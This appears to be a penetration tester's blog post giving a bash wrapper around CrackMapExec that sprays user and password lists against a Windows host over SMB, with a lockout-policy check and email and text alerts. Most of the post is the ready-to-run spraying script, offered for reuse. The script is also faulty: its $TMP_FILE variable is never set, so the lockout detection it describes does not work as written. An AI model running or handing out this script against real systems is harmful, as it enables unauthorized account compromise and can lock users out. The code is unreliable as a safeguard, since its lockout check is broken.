Credential spraying with CrackMapExec (safely)

Not too long ago I worked up an SMB credential spraying script using rpcclient. I haven’t really been using this much as I tend to favor byt3bl33d3r’s CrackMapExec when attacking SMB. On a recent engagement, I accidentally locked out a good number of Windows domain accounts during some SMB credential spraying. I usually take precautions by using a large sleep time but due to a large Lockout Observation Window value I put the hurt on some accounts. Not my best moment. I’m still new to this game so I won’t flog myself too hard.

With all that said, I worked up a wrapper for CrackMapExec that will limit account lockouts. As in, only a single account will be locked out in the event that I guess an incorrect amount of time to sleep between authentication attempts.

You can view a target domain’s account settings using the net command.

net accounts [/domain]

C:\Users\foobarbbq>net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          42
Minimum password length:                              0
Length of password history maintained:                None
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        MILKSHAKE
The command completed successfully.

Additionally, I worked in some email notifications to alert me if/when this happens so I can notify my client of the lockout. Granted, most accounts unlock themselves after 30 or so minutes (Lockout Duration) but I still think it’s a good idea to effectively communicate issues that may hurt an organization’s productivity. Making money and all that is kind of important, right?

One thing to note about the use of email from your attacking platform is that you most likely won’t have access to an outbound SMTP server. To get around this you will probably want to configure a local email transport service. I use postfix in conjunction with a gmail account. A good resource for setting this up can be found at the following link.

Configure Postfix to Send Mail Using Gmail and Google Apps on Debian or Ubuntu

The CrackMapExec wrapper I worked up takes the following as input: (1) a host to attack, (2) list of users, (3) list of passwords, and (4) a number of seconds to sleep between attacks.

Call the script in the following manner.

./smb_cme_credspray.sh 192.168.0.209 /tmp/users.txt /tmp/passwords.txt 2730

You can also find this in my Gists at github at https://gist.github.com/ryan-wendel/acbb9aaa6d159b55311b1fd43c85f45b.

#!/bin/bash

HOST="$1"
USERS="$2"
PASSWORDS="$3"
SLEEP="$4"

EMAIL="ryan.wendel@foobarbbq.com"
TEXT="7205551234@mms.att.net"

# 45.5 minutes = 2730 seconds

print_help() {
        echo "Usage: $(basename $0) <host/ip> <user file> <password file> <sleep seconds>"
}
 
if [ -z "${HOST}" ]; then
        echo "Error: Provide me a host/ip"
        echo
        print_help
        exit 1
fi
 
if [ -z "$USERS" ]; then
        echo "Error: Provide me with a users file"
        print_help
        exit 2
elif [ ! -f "$USERS" ]; then
        echo "Error: Users file doesn't exist"
        print_help
        exit 3
fi

if [ -z "$PASSWORDS" ]; then
        echo "Error: Provide me with a password file"
        print_help
        exit 4
elif [ ! -f "$PASSWORDS" ]; then
        echo "Error: Passwords file doesn't exist"
        print_help
        exit 5
fi
 
if [ -z "${SLEEP}" ]; then
        echo "Error: Provide me with number of seconds to sleep"
        echo
        print_help
        exit 6
fi
 
if [[ ! "$SLEEP" =~ ^[0-9]+$ ]]; then
        echo "Error: Provide me with an integer number of seconds to sleep"
        echo
        print_help
        exit 7
fi
 
> $TMP_FILE

COUNT="0"

while read PASS; do

    while read USER; do

        cme smb $HOST -u $USER -p $PASS | tee -a $TMP_FILE

        COUNT=$(grep -c LOCKED $TMP_FILE)

        if [[ $COUNT -gt 0 ]]; then
            grep LOCKED $TMP_FILE | mail -s "Account Lockout Issues" $EMAIL
            echo "Account lockout issues. Check your email" | mail -s "Account Lockout Issues" $TEXT
            exit
        fi

    done < <(cat $USERS)

    echo "Sleeping $SLEEP seconds"

    sleep $SLEEP

done < <(cat $PASSWORDS)

rm -f $TMP_FILE
Tagged , , ,